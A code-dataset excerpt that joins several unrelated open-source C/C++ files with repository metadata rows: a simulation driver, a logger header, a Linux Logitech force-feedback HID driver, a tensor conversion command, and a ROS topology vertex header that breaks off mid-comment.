int xlow_local = p_col*nx_p;
int xhigh_local;
if(p_col == n_cols) { xhigh_local = nx; }
else { xhigh_local = xlow_local + nx_p; }
// Now set up the local simulation structure.
const int nx_local = xhigh_local - xlow_local;
const int ny_local = yhigh_local - ylow_local;
central2d_t* sim_local = central2d_init( grid_width, // This is wrong, but it's okay... see below.
grid_height, // This is wrong, but it's okay... see below.
nx_local,
ny_local,
3, // nfield
shallow2d_flux,
shallow2d_speed,
cfl);
/* Why do we pass the global grid_width and grid_height to the initializer
for sim_local? Remember, sim_local only deals with a piece of the global
grid, so its height and width will be smaller. If we look at the code for
the initializer, we'll notice that grid_width and grid_height are only used
to calculate dx and dy. Every cell in the global grid has the same size.
Thus, dx and dy for each local grid should be equal to that of the global
one. When we initialized the global sim variable, it calculated dx and dy.
Thus, dx and dy are already known, we just need to get them to sim_local.
The idea here is to just pass some junk values to central2d_init when
initializing sim_local. This initializer will calculate incorrect values for
dx and dy (for the local grid). After initialization is done, we will
overwrite the faulty values of dx and dy using the ones in sim. */
sim_local->dx = sim->dx;
sim_local->dy = sim->dy;
/* Now that sim_local has been initialized, we need to set up its U array.
To do that, we need to copy the corresponding part of the global U array
into the local U array. */
float* U_local = sim_local->U;
float* U = sim -> U;
for(int k = 0; k < 3; ++k) { // 3 = nfield
for(int iy = 0; iy < ny_local; ++iy) {
for(int ix = 0; ix < nx_local; ++ix) {
/* We need to copy a piece of the global U to the local U.
The first row of U_local corresponds to row xlow_local in U.
Likewise, the first column of U_local corresponds to row ylow_local
in U. */
U_local[central2d_offset(sim_local, k, ix, iy)] = U[central2d_offset(sim, k, xlow_local + ix , ylow_local + iy)];
} // for(int ix = 0; ix < sim->nx; ++ix) {
} // for(int iy = 0; iy < sim->ny; ++iy) {
} // for(int k = 0; k < 3; ++k) {
// wait for all threads to set up their local arrays.
#pragma omp barrier
/* Now, at long last, the local simulation structures are set up and ready
to go! Let's cycle through the timesteps! */
for (int i = 0; i < frames; ++i) {
double t0 = omp_get_wtime();
int nstep = central2d_run(sim_local,
sim,
xlow_local,
ylow_local,
ftime);
double t1 = omp_get_wtime();
// There is a barrier in central2d_run so we only need to use one of the
// t1 - t0
double elapsed = t1 - t0;
#pragma omp sections
{
// One section to run out diagnostic on U.
#pragma omp section
{
solution_check(sim);
tcompute += elapsed;
printf(" Time: %e (%e for %d steps)\n", elapsed, elapsed/nstep, nstep);
} // #pragma omp section
// One section to write a frame of U to memory.
#pragma omp section
{
viz_frame(viz, sim, vskip);
} // #pragma omp section
} // #pragma omp single {
} // for (int i = 0; i < frames; ++i) {
// Free the local sim structure.
central2d_free(sim_local);
} // #pragma omp parallel num_threads(4)
printf("Total compute time: %e\n", tcompute);
viz_close(viz);
central2d_free(sim);
return 0;
} // int run_sim(lua_State* L)
/**
* ### Main
*
* The main routine has the usage pattern
*
* lshallow tests.lua args
*
* where `tests.lua` has a call to the `simulate` function to run
* the simulation. The arguments after the Lua file name are passed
* into the Lua script via a global array called `args`.
*/
int main(int argc, char** argv)
{
if (argc < 2) {
fprintf(stderr, "Usage: %s fname args\n", argv[0]);
return -1;
} // if (argc < 2) {
lua_State* L = luaL_newstate();
luaL_openlibs(L);
lua_register(L, "simulate", run_sim);
lua_newtable(L);
for (int i = 2; i < argc; ++i) {
lua_pushstring(L, argv[i]);
lua_rawseti(L, 1, i-1);
} // for (int i = 2; i < argc; ++i) {
lua_setglobal(L, "args");
if (luaL_dofile(L, argv[1])) {
printf("%s\n", lua_tostring(L,-1));
} // if (luaL_dofile(L, argv[1])) {
lua_close(L);
return 0;
} // int main(int argc, char** argv)
| 34 | 123 | 0.594739 | [
"mesh",
"object"
] |
d3deaeee72076b6eab1b1364be10544124514535 | 725 | h | C | source/logger.h | chinmaygarde/doxygen2docset | 915de729857dcea24581a1561d9e4f4fb322c674 | [
"MIT"
] | 12 | 2019-12-08T13:36:13.000Z | 2022-02-15T09:15:40.000Z | source/logger.h | chinmaygarde/doxygen2docset | 915de729857dcea24581a1561d9e4f4fb322c674 | [
"MIT"
] | null | null | null | source/logger.h | chinmaygarde/doxygen2docset | 915de729857dcea24581a1561d9e4f4fb322c674 | [
"MIT"
] | null | null | null | // This source file is part of doxygen2docset.
// Licensed under the MIT License. See LICENSE.md file for details.
#pragma once
#include <iostream>
#include "macros.h"
namespace d2d {
template <class Type>
class AutoLogger {
public:
AutoLogger(Type& logger) : logger_(logger) {}
~AutoLogger() {
logger_ << std::endl;
logger_.flush();
}
template <class T>
AutoLogger& operator<<(const T& object) {
logger_ << object;
return *this;
}
private:
Type& logger_;
D2D_DISALLOW_COPY_AND_ASSIGN(AutoLogger);
};
using AutoOStreamLogger = AutoLogger<std::ostream>;
#define D2D_ERROR ::d2d::AutoOStreamLogger(std::cerr)
#define D2D_LOG ::d2d::AutoOStreamLogger(std::cout)
} // namespace d2d
| 18.125 | 67 | 0.696552 | [
"object"
] |
d3e00e5e15968354ea5a8f99068586cb454a18d0 | 13,883 | c | C | linux-2.6.0/drivers/usb/input/hid-lgff.c | dnhua/Linux_study | 96863b599cbba9c925b3209bed07b1d7b60cb463 | [
"MIT"
] | 1 | 2020-11-10T12:47:02.000Z | 2020-11-10T12:47:02.000Z | linux-2.6.0/drivers/usb/input/hid-lgff.c | dnhua/Linux_study | 96863b599cbba9c925b3209bed07b1d7b60cb463 | [
"MIT"
] | null | null | null | linux-2.6.0/drivers/usb/input/hid-lgff.c | dnhua/Linux_study | 96863b599cbba9c925b3209bed07b1d7b60cb463 | [
"MIT"
] | null | null | null | /*
* $$
*
* Force feedback support for hid-compliant for some of the devices from
* Logitech, namely:
* - WingMan Cordless RumblePad
* - WingMan Force 3D
*
* Copyright (c) 2002 Johann Deneux
*/
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* Should you need to contact me, the author, you can do so by
* e-mail - mail your message to <deneux@ifrance.com>
*/
#include <linux/input.h>
#include <linux/sched.h>
#define DEBUG
#include <linux/usb.h>
#include <linux/circ_buf.h>
#include "hid.h"
#include "fixp-arith.h"
/* Periodicity of the update */
#define PERIOD (HZ/10)
#define RUN_AT(t) (jiffies + (t))
/* Effect status */
#define EFFECT_STARTED 0 /* Effect is going to play after some time
(ff_replay.delay) */
#define EFFECT_PLAYING 1 /* Effect is being played */
#define EFFECT_USED 2
// For lgff_device::flags
#define DEVICE_CLOSING 0 /* The driver is being unitialised */
/* Check that the current process can access an effect */
#define CHECK_OWNERSHIP(effect) (current->pid == 0 \
|| effect.owner == current->pid)
#define LGFF_CHECK_OWNERSHIP(i, l) \
(i>=0 && i<LGFF_EFFECTS \
&& test_bit(EFFECT_USED, l->effects[i].flags) \
&& CHECK_OWNERSHIP(l->effects[i]))
#define LGFF_EFFECTS 8
struct device_type {
u16 idVendor;
u16 idProduct;
signed short *ff;
};
struct lgff_effect {
pid_t owner;
struct ff_effect effect;
unsigned long flags[1];
unsigned int count; /* Number of times left to play */
unsigned long started_at; /* When the effect started to play */
};
struct lgff_device {
struct hid_device* hid;
struct hid_report* constant;
struct hid_report* rumble;
struct hid_report* condition;
struct lgff_effect effects[LGFF_EFFECTS];
spinlock_t lock; /* device-level lock. Having locks on
a per-effect basis could be nice, but
isn't really necessary */
unsigned long flags[1]; /* Contains various information about the
state of the driver for this device */
struct timer_list timer;
};
/* Callbacks */
static void hid_lgff_exit(struct hid_device* hid);
static int hid_lgff_event(struct hid_device *hid, struct input_dev *input,
unsigned int type, unsigned int code, int value);
static int hid_lgff_flush(struct input_dev *input, struct file *file);
static int hid_lgff_upload_effect(struct input_dev *input,
struct ff_effect *effect);
static int hid_lgff_erase(struct input_dev *input, int id);
/* Local functions */
static void hid_lgff_input_init(struct hid_device* hid);
static void hid_lgff_timer(unsigned long timer_data);
static struct hid_report* hid_lgff_duplicate_report(struct hid_report*);
static void hid_lgff_delete_report(struct hid_report*);
static signed short ff_rumble[] = {
FF_RUMBLE,
-1
};
static signed short ff_joystick[] = {
FF_CONSTANT,
-1
};
static struct device_type devices[] = {
{0x046d, 0xc211, ff_rumble},
{0x046d, 0xc283, ff_joystick},
{0x0000, 0x0000, ff_joystick}
};
int hid_lgff_init(struct hid_device* hid)
{
struct lgff_device *private;
struct hid_report* report;
struct hid_field* field;
/* Find the report to use */
if (list_empty(&hid->report_enum[HID_OUTPUT_REPORT].report_list)) {
err("No output report found");
return -1;
}
/* Check that the report looks ok */
report = (struct hid_report*)hid->report_enum[HID_OUTPUT_REPORT].report_list.next;
if (!report) {
err("NULL output report");
return -1;
}
field = report->field[0];
if (!field) {
err("NULL field");
return -1;
}
private = kmalloc(sizeof(struct lgff_device), GFP_KERNEL);
if (!private)
return -1;
memset(private, 0, sizeof(struct lgff_device));
hid->ff_private = private;
/* Input init */
hid_lgff_input_init(hid);
private->constant = hid_lgff_duplicate_report(report);
if (!private->constant) {
kfree(private);
return -1;
}
private->constant->field[0]->value[0] = 0x51;
private->constant->field[0]->value[1] = 0x08;
private->constant->field[0]->value[2] = 0x7f;
private->constant->field[0]->value[3] = 0x7f;
private->rumble = hid_lgff_duplicate_report(report);
if (!private->rumble) {
hid_lgff_delete_report(private->constant);
kfree(private);
return -1;
}
private->rumble->field[0]->value[0] = 0x03;
private->rumble->field[0]->value[1] = 0x42;
private->condition = hid_lgff_duplicate_report(report);
if (!private->condition) {
hid_lgff_delete_report(private->rumble);
hid_lgff_delete_report(private->constant);
kfree(private);
return -1;
}
private->hid = hid;
spin_lock_init(&private->lock);
init_timer(&private->timer);
private->timer.data = (unsigned long)private;
private->timer.function = hid_lgff_timer;
/* Event and exit callbacks */
hid->ff_exit = hid_lgff_exit;
hid->ff_event = hid_lgff_event;
/* Start the update task */
private->timer.expires = RUN_AT(PERIOD);
add_timer(&private->timer); /*TODO: only run the timer when at least
one effect is playing */
printk(KERN_INFO "Force feedback for Logitech force feedback devices by Johann Deneux <deneux@ifrance.com>\n");
return 0;
}
static struct hid_report* hid_lgff_duplicate_report(struct hid_report* report)
{
struct hid_report* ret;
ret = kmalloc(sizeof(struct lgff_device), GFP_KERNEL);
if (!ret)
return NULL;
*ret = *report;
ret->field[0] = kmalloc(sizeof(struct hid_field), GFP_KERNEL);
if (!ret->field[0]) {
kfree(ret);
return NULL;
}
*ret->field[0] = *report->field[0];
ret->field[0]->value = kmalloc(sizeof(s32[8]), GFP_KERNEL);
if (!ret->field[0]->value) {
kfree(ret->field[0]);
kfree(ret);
return NULL;
}
memset(ret->field[0]->value, 0, sizeof(s32[8]));
return ret;
}
static void hid_lgff_delete_report(struct hid_report* report)
{
if (report) {
kfree(report->field[0]->value);
kfree(report->field[0]);
kfree(report);
}
}
static void hid_lgff_input_init(struct hid_device* hid)
{
struct device_type* dev = devices;
signed short* ff;
u16 idVendor = hid->dev->descriptor.idVendor;
u16 idProduct = hid->dev->descriptor.idProduct;
struct hid_input *hidinput = list_entry(&hid->inputs, struct hid_input, list);
while (dev->idVendor && (idVendor != dev->idVendor || idProduct != dev->idProduct))
dev++;
ff = dev->ff;
while (*ff >= 0) {
set_bit(*ff, hidinput->input.ffbit);
++ff;
}
hidinput->input.upload_effect = hid_lgff_upload_effect;
hidinput->input.flush = hid_lgff_flush;
set_bit(EV_FF, hidinput->input.evbit);
hidinput->input.ff_effects_max = LGFF_EFFECTS;
}
static void hid_lgff_exit(struct hid_device* hid)
{
struct lgff_device *lgff = hid->ff_private;
set_bit(DEVICE_CLOSING, lgff->flags);
del_timer_sync(&lgff->timer);
hid_lgff_delete_report(lgff->condition);
hid_lgff_delete_report(lgff->rumble);
hid_lgff_delete_report(lgff->constant);
kfree(lgff);
}
static int hid_lgff_event(struct hid_device *hid, struct input_dev* input,
unsigned int type, unsigned int code, int value)
{
struct lgff_device *lgff = hid->ff_private;
struct lgff_effect *effect = lgff->effects + code;
unsigned long flags;
if (type != EV_FF) return -EINVAL;
if (!LGFF_CHECK_OWNERSHIP(code, lgff)) return -EACCES;
if (value < 0) return -EINVAL;
spin_lock_irqsave(&lgff->lock, flags);
if (value > 0) {
if (test_bit(EFFECT_STARTED, effect->flags)) {
spin_unlock_irqrestore(&lgff->lock, flags);
return -EBUSY;
}
if (test_bit(EFFECT_PLAYING, effect->flags)) {
spin_unlock_irqrestore(&lgff->lock, flags);
return -EBUSY;
}
effect->count = value;
if (effect->effect.replay.delay) {
set_bit(EFFECT_STARTED, effect->flags);
} else {
set_bit(EFFECT_PLAYING, effect->flags);
}
effect->started_at = jiffies;
}
else { /* value == 0 */
clear_bit(EFFECT_STARTED, effect->flags);
clear_bit(EFFECT_PLAYING, effect->flags);
}
spin_unlock_irqrestore(&lgff->lock, flags);
return 0;
}
/* Erase all effects this process owns */
static int hid_lgff_flush(struct input_dev *dev, struct file *file)
{
struct hid_device *hid = dev->private;
struct lgff_device *lgff = hid->ff_private;
int i;
for (i=0; i<dev->ff_effects_max; ++i) {
/*NOTE: no need to lock here. The only times EFFECT_USED is
modified is when effects are uploaded or when an effect is
erased. But a process cannot close its dev/input/eventX fd
and perform ioctls on the same fd all at the same time */
if ( current->pid == lgff->effects[i].owner
&& test_bit(EFFECT_USED, lgff->effects[i].flags)) {
if (hid_lgff_erase(dev, i))
warn("erase effect %d failed", i);
}
}
return 0;
}
static int hid_lgff_erase(struct input_dev *dev, int id)
{
struct hid_device *hid = dev->private;
struct lgff_device *lgff = hid->ff_private;
unsigned long flags;
if (!LGFF_CHECK_OWNERSHIP(id, lgff)) return -EACCES;
spin_lock_irqsave(&lgff->lock, flags);
lgff->effects[id].flags[0] = 0;
spin_unlock_irqrestore(&lgff->lock, flags);
return 0;
}
static int hid_lgff_upload_effect(struct input_dev* input,
struct ff_effect* effect)
{
struct hid_device *hid = input->private;
struct lgff_device *lgff = hid->ff_private;
struct lgff_effect new;
int id;
unsigned long flags;
dbg("ioctl rumble");
if (!test_bit(effect->type, input->ffbit)) return -EINVAL;
spin_lock_irqsave(&lgff->lock, flags);
if (effect->id == -1) {
int i;
for (i=0; i<LGFF_EFFECTS && test_bit(EFFECT_USED, lgff->effects[i].flags); ++i);
if (i >= LGFF_EFFECTS) {
spin_unlock_irqrestore(&lgff->lock, flags);
return -ENOSPC;
}
effect->id = i;
lgff->effects[i].owner = current->pid;
lgff->effects[i].flags[0] = 0;
set_bit(EFFECT_USED, lgff->effects[i].flags);
}
else if (!LGFF_CHECK_OWNERSHIP(effect->id, lgff)) {
spin_unlock_irqrestore(&lgff->lock, flags);
return -EACCES;
}
id = effect->id;
new = lgff->effects[id];
new.effect = *effect;
if (test_bit(EFFECT_STARTED, lgff->effects[id].flags)
|| test_bit(EFFECT_STARTED, lgff->effects[id].flags)) {
/* Changing replay parameters is not allowed (for the time
being) */
if (new.effect.replay.delay != lgff->effects[id].effect.replay.delay
|| new.effect.replay.length != lgff->effects[id].effect.replay.length) {
spin_unlock_irqrestore(&lgff->lock, flags);
return -ENOSYS;
}
lgff->effects[id] = new;
} else {
lgff->effects[id] = new;
}
spin_unlock_irqrestore(&lgff->lock, flags);
return 0;
}
static void hid_lgff_timer(unsigned long timer_data)
{
struct lgff_device *lgff = (struct lgff_device*)timer_data;
struct hid_device *hid = lgff->hid;
unsigned long flags;
int x = 0x7f, y = 0x7f; // Coordinates of constant effects
unsigned int left = 0, right = 0; // Rumbling
int i;
spin_lock_irqsave(&lgff->lock, flags);
for (i=0; i<LGFF_EFFECTS; ++i) {
struct lgff_effect* effect = lgff->effects +i;
if (test_bit(EFFECT_PLAYING, effect->flags)) {
switch (effect->effect.type) {
case FF_CONSTANT: {
//TODO: handle envelopes
int degrees = effect->effect.direction * 360 >> 16;
x += fixp_mult(fixp_sin(degrees),
fixp_new16(effect->effect.u.constant.level));
y += fixp_mult(-fixp_cos(degrees),
fixp_new16(effect->effect.u.constant.level));
} break;
case FF_RUMBLE:
right += effect->effect.u.rumble.strong_magnitude;
left += effect->effect.u.rumble.weak_magnitude;
break;
};
/* One run of the effect is finished playing */
if (time_after(jiffies,
effect->started_at
+ effect->effect.replay.delay*HZ/1000
+ effect->effect.replay.length*HZ/1000)) {
dbg("Finished playing once %d", i);
if (--effect->count <= 0) {
dbg("Stopped %d", i);
clear_bit(EFFECT_PLAYING, effect->flags);
}
else {
dbg("Start again %d", i);
if (effect->effect.replay.length != 0) {
clear_bit(EFFECT_PLAYING, effect->flags);
set_bit(EFFECT_STARTED, effect->flags);
}
effect->started_at = jiffies;
}
}
} else if (test_bit(EFFECT_STARTED, lgff->effects[i].flags)) {
/* Check if we should start playing the effect */
if (time_after(jiffies,
lgff->effects[i].started_at
+ lgff->effects[i].effect.replay.delay*HZ/1000)) {
dbg("Now playing %d", i);
clear_bit(EFFECT_STARTED, lgff->effects[i].flags);
set_bit(EFFECT_PLAYING, lgff->effects[i].flags);
}
}
}
#define CLAMP(x) if (x < 0) x = 0; if (x > 0xff) x = 0xff
// Clamp values
CLAMP(x);
CLAMP(y);
CLAMP(left);
CLAMP(right);
#undef CLAMP
if (x != lgff->constant->field[0]->value[2]
|| y != lgff->constant->field[0]->value[3]) {
lgff->constant->field[0]->value[2] = x;
lgff->constant->field[0]->value[3] = y;
dbg("(x,y)=(%04x, %04x)", x, y);
hid_submit_report(hid, lgff->constant, USB_DIR_OUT);
}
if (left != lgff->rumble->field[0]->value[3]
|| right != lgff->rumble->field[0]->value[4]) {
lgff->rumble->field[0]->value[3] = left;
lgff->rumble->field[0]->value[4] = right;
dbg("(left,right)=(%04x, %04x)", left, right);
hid_submit_report(hid, lgff->rumble, USB_DIR_OUT);
}
if (!test_bit(DEVICE_CLOSING, lgff->flags)) {
lgff->timer.expires = RUN_AT(PERIOD);
add_timer(&lgff->timer);
}
spin_unlock_irqrestore(&lgff->lock, flags);
}
| 26.243856 | 112 | 0.68393 | [
"3d"
] |
d3e6a006104cda14f5914a3cd52b16a8c64cfbdb | 2,797 | c | C | src/cmds/cmd_convert.c | patflick/splatt | b4bbad44824e1fd7893beb79c4ac99a25edff47e | [
"MIT"
] | 58 | 2016-06-29T05:32:23.000Z | 2021-10-30T05:59:13.000Z | src/cmds/cmd_convert.c | patflick/splatt | b4bbad44824e1fd7893beb79c4ac99a25edff47e | [
"MIT"
] | 23 | 2016-06-26T21:36:03.000Z | 2022-03-03T20:18:41.000Z | src/cmds/cmd_convert.c | patflick/splatt | b4bbad44824e1fd7893beb79c4ac99a25edff47e | [
"MIT"
] | 30 | 2016-06-26T03:34:30.000Z | 2022-02-28T11:17:29.000Z |
/******************************************************************************
* INCLUDES
*****************************************************************************/
#include "splatt_cmds.h"
#include "../convert.h"
/******************************************************************************
* SPLATT CONVERT
*****************************************************************************/
static char convert_args_doc[] = "TENSOR OUTPUT";
static char convert_doc[] =
"splatt-convert -- Convert a tensor to a different form.\n\n"
"Mode-dependent conversion types are:\n"
" fib\t\tHypergraph modeling the sparsity pattern of fibers\n"
" nnz\t\tHypergraph modeling the sparsity pattern of nonzeros (fine-grained)\n"
" fibmat\t\tCSR matrix whose rows are fibers\n"
"Mode-independent conversion types are:\n"
" graph\t\tTri-partite graph model\n"
" coo\t\tDefault coordinate format\n"
" bin\t\tBinary coordinate format\n";
typedef struct
{
char * ifname;
char * ofname;
idx_t mode;
splatt_convert_type type;
} convert_args;
static struct argp_option convert_options[] = {
{ 0, 0, 0, 0, "Mode-independent options:", 2},
{ "type", 't', "TYPE", 0, "type of conversion" },
{ 0, 0, 0, 0, "Mode-dependent options:", 1},
{ "mode", 'm', "MODE", 0, "tensor mode to convert (default: 1)"},
{ 0 }
};
static error_t parse_convert_opt(
int key,
char * arg,
struct argp_state * state)
{
convert_args *args = state->input;
switch(key) {
case 'm':
args->mode = atoi(arg) - 1;
break;
case 't':
if(strcmp(arg, "fib") == 0) {
args->type = CNV_FIB_HGRAPH;
} else if(strcmp(arg, "nnz") == 0) {
args->type = CNV_NNZ_HGRAPH;
} else if(strcmp(arg, "graph") == 0) {
args->type = CNV_IJK_GRAPH;
} else if(strcmp(arg, "fibmat") == 0) {
args->type = CNV_FIB_SPMAT;
} else if(strcmp(arg, "bin") == 0) {
args->type = CNV_BINARY;
} else if(strcmp(arg, "coo") == 0) {
args->type = CNV_COORD;
}
break;
case ARGP_KEY_ARG:
switch(state->arg_num) {
case 0:
args->ifname = arg;
break;
case 1:
args->ofname = arg;
break;
default:
argp_usage(state);
}
break;
case ARGP_KEY_END:
if(args->ifname == NULL || args->ofname == NULL) {
argp_usage(state);
break;
}
}
return 0;
}
static struct argp convert_argp =
{convert_options, parse_convert_opt, convert_args_doc, convert_doc};
int splatt_convert(
int argc,
char ** argv)
{
convert_args args;
args.ifname = NULL;
args.ofname = NULL;
args.mode = 0;
args.type= CNV_ERROR;
argp_parse(&convert_argp, argc, argv, ARGP_IN_ORDER, 0, &args);
print_header();
tt_convert(args.ifname, args.ofname, args.mode, args.type);
return EXIT_SUCCESS;
}
| 25.66055 | 82 | 0.555595 | [
"model"
] |
d3e88e7196b00726fb108eac3e99fe0ff038cf70 | 12,006 | h | C | Topology/mars_topology_vertex/include/mars_topology_vertex/MarsTopologyVertex.h | ramp-eu/Motion_Task_Planner | f2a2b5af7ec721c3a965763bacecbee98d39f5b3 | [
"Apache-2.0"
] | 1 | 2021-10-21T06:25:13.000Z | 2021-10-21T06:25:13.000Z | Topology/mars_topology_vertex/include/mars_topology_vertex/MarsTopologyVertex.h | ramp-eu/Motion_Task_Planner | f2a2b5af7ec721c3a965763bacecbee98d39f5b3 | [
"Apache-2.0"
] | null | null | null | Topology/mars_topology_vertex/include/mars_topology_vertex/MarsTopologyVertex.h | ramp-eu/Motion_Task_Planner | f2a2b5af7ec721c3a965763bacecbee98d39f5b3 | [
"Apache-2.0"
] | 1 | 2021-03-04T10:33:08.000Z | 2021-03-04T10:33:08.000Z | // Copyright 2020 Fraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https:www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#ifndef MARS_TOPOLOGY_COMMON_MARSTOPOLOGYVERTEX_H
#define MARS_TOPOLOGY_COMMON_MARSTOPOLOGYVERTEX_H
#include "MarsVertex.h"
// ros node internal includes
#include <mars_common/EntityVisualization.h>
#include <mars_common/Id.h>
#include <mars_common/Logger.h>
#include <mars_topology_actions/AllocateEntityAction.h>
#include <mars_topology_common/TopologyEntityLock.h>
#include <mars_topology_srvs/AddReservation.h>
#include <mars_topology_srvs/DeallocateEntity.h>
#include <mars_topology_srvs/DeleteReservation.h>
#include <mars_topology_srvs/GetCoordinate.h>
#include <mars_topology_srvs/GetFootprint.h>
#include <mars_topology_srvs/GetFreeTimeSlots.h>
#include <mars_topology_srvs/GetIngoingEdges.h>
#include <mars_topology_srvs/GetOutgoingEdges.h>
#include <mars_topology_srvs/GetRestrictions.h>
#include <mars_topology_srvs/GetStatus.h>
#include <mars_topology_srvs/GetType.h>
#include <mars_topology_srvs/LockTopologyEntity.h>
#include <mars_topology_srvs/UnlockTopologyEntity.h>
// own exception includes
#include <mars_common/exception/AdvertiseServiceException.h>
#include <mars_common/exception/ReadParamException.h>
#include <mars_common/exception/SetParamException.h>
// ros includes
#include <actionlib/server/action_server.h>
#include <geometry_msgs/TransformStamped.h>
#include <ros/ros.h>
#include <tf2_ros/static_transform_broadcaster.h>
#include <visualization_msgs/Marker.h>
// C++ includes
#include <string>
#include <uuid/uuid.h>
namespace mars
{
namespace topology
{
namespace vertex
{
/**
* This node represents a topological vertex.
*/
class MarsTopologyVertex
{
public:
/**
* @brief MarsTopologyVertex Creates an object of MarsTopologyVertex.
*/
MarsTopologyVertex();
/**
* @brief MarsTopologyVertex Deletes an object MarsTopologyVertex object.
*/
~MarsTopologyVertex();
/**
* @brief runROSNode Runs the ros node. This is the only method you have to
* call.
*
* @return Returns true if now error occurred during runtime.
*/
bool runROSNode(void);
bool actionGoalCallbackAllocateEntity(
const actionlib::ServerGoalHandle<
mars_topology_actions::AllocateEntityAction>& pAllocationGoal);
bool actionCancelCallbackAllocateEntity(
const actionlib::ServerGoalHandle<
mars_topology_actions::AllocateEntityAction>& pAllocationGoal);
/**
* @brief serviceCallbackGetCoordinate The callback funktion
* which is called by clients that want to know the
* pecise position (x,y) of the Vertex.
*
* @param req The request, empty in this case.
* @param res The response, contains the precise position.
*
* @return true if the service was executed successsfully.
*/
bool serviceCallbackGetCoordinate(
mars_topology_srvs::GetCoordinate::Request& req,
mars_topology_srvs::GetCoordinate::Response& res);
/**
* @brief serviceCallbackGetFootprint The callback funktion which
* is called by clients that want to know the footprint
* of the vertex. The footprint is described by a polygon.
*
* @param req The request, empty in this case.
* @param res The response, contains the footprint.
*
* @return true if the service was executed successfully.
*/
bool
serviceCallbackGetFootprint(mars_topology_srvs::GetFootprint::Request& req,
mars_topology_srvs::GetFootprint::Response& res);
/**
* @brief serviceCallbackLockTopologyEntity The callback function is called by
* the service clients if an initiator wants to lock the vertex.
* @param req The request contains the initiator id, a reason and the time
* interval to lock the vertex.
* @param res The response contains a result if the lock request is accepted
* and a lock id.
* @return true if the service was executed successfully.
*/
bool serviceCallbackLockTopologyEntity(
mars_topology_srvs::LockTopologyEntity::Request& req,
mars_topology_srvs::LockTopologyEntity::Response& res);
/**
* @brief serviceCallbackUnlockTopologyEntity The callback function which
* is called by the service clients that want to unlock
* the vertex.
*
* @param req The request, contains the id of the lock and optionally reason.
* @param res The response, contains the result.
*
* @return true if the vertex is unlocked.
*/
bool serviceCallbackUnlockTopologyEntity(
mars_topology_srvs::UnlockTopologyEntity::Request& req,
mars_topology_srvs::UnlockTopologyEntity::Response& res);
bool serviceCallbackAddReservation(
mars_topology_srvs::AddReservation::Request& req,
mars_topology_srvs::AddReservation::Response& res);
bool serviceCallbackDeallocateEntity(
mars_topology_srvs::DeallocateEntity::Request& req,
mars_topology_srvs::DeallocateEntity::Response& res);
bool serviceCallbackDeleteReservation(
mars_topology_srvs::DeleteReservation::Request& req,
mars_topology_srvs::DeleteReservation::Response& res);
bool serviceCallbackGetFreeTimeSlots(
mars_topology_srvs::GetFreeTimeSlots::Request& req,
mars_topology_srvs::GetFreeTimeSlots::Response& res);
bool serviceCallbackGetIngoingEdges(
mars_topology_srvs::GetIngoingEdges::Request& req,
mars_topology_srvs::GetIngoingEdges::Response& res);
bool serviceCallbackGetOutgoingEdges(
mars_topology_srvs::GetOutgoingEdges::Request& req,
mars_topology_srvs::GetOutgoingEdges::Response& res);
bool serviceCallbackGetRestrictions(
mars_topology_srvs::GetRestrictions::Request& req,
mars_topology_srvs::GetRestrictions::Response& res);
bool serviceCallbackGetType(mars_topology_srvs::GetType::Request& req,
mars_topology_srvs::GetType::Response& res);
bool serviceCallbackGetStatus(mars_topology_srvs::GetStatus::Request& req,
mars_topology_srvs::GetStatus::Response& res);
/**
* @brief drawMarker Helpfer function for visualization.
*/
void drawMarker(const ros::TimerEvent& event) const;
protected:
// First member variables, second methods.
private:
// ros node handles
/**
* @brief mNH Public ros handle.
*/
ros::NodeHandle mNH;
/**
* @brief mNHPriv Private node handle.
*/
ros::NodeHandle mNHPriv;
// ros publisher
ros::Publisher mRegistrationPublisher;
ros::Publisher mVisualizationDescriptionPublisher;
ros::Publisher mVisualizationHeatmapPublisher;
ros::Publisher mVisualizationFootprintPublisher;
// ros subscriber
// ros service server
ros::ServiceServer mServiceGetCoordinate;
ros::ServiceServer mServiceGetFootprint;
ros::ServiceServer mServiceLockTopologyEntity;
ros::ServiceServer mServiceUnlockTopologyEntity;
ros::ServiceServer mServiceAddReservation;
ros::ServiceServer mServiceDeallocateEntity;
ros::ServiceServer mServiceDeleteReservation;
ros::ServiceServer mServiceGetFreeTimeSlots;
ros::ServiceServer mServiceGetIngoingEdges;
ros::ServiceServer mServiceGetOutgoingEdges;
ros::ServiceServer mServiceGetRestrictions;
ros::ServiceServer mServiceGetType;
ros::ServiceServer mServiceGetStatus;
// ros action server
actionlib::ActionServer<mars_topology_actions::AllocateEntityAction>*
mActionAllocateEntity;
// ros Timer
ros::Timer mVisualizationTimer;
// members
mars::topology::vertex::MarsVertex* mMarsVertex;
/**
* @brief mHz Contains the information about the set loop rate of the node.
*/
int mHz;
/**
* @brief mVisualizationHz Contains the information about the set loop rate of the visualization of this node.
*/
float mVisualizationHz;
/**
* @brief mNodeLogLevel Current log level of the node.
*/
std::string mNodeLogLevel;
std::string mServiceNameGetCoordinate;
std::string mServiceNameGetFootprint;
std::string mServiceNameLockTopologyEntity;
std::string mServiceNameUnlockTopologyEntity;
std::string mServiceNameAddReservationRequest;
std::string mServiceNameDeallocateEntity;
std::string mServiceNameDeleteReservation;
std::string mServiceNameGetFreeTimeSlots;
std::string mServiceNameGetIngoingEdges;
std::string mServiceNameGetOutgoingEdges;
std::string mServiceNameGetRestrictions;
std::string mServiceNameGetType;
std::string mServiceNameGetStatus;
std::string mActionNameAllocateEntity;
std::string mTopicNameVisualizationDescription;
std::string mTopicNameVisualizationFootprint;
std::string mTopicNameVisualizationHeatmap;
// init methods for ros node
/**
* @brief init Inits the node. This method automatically calls the methods:
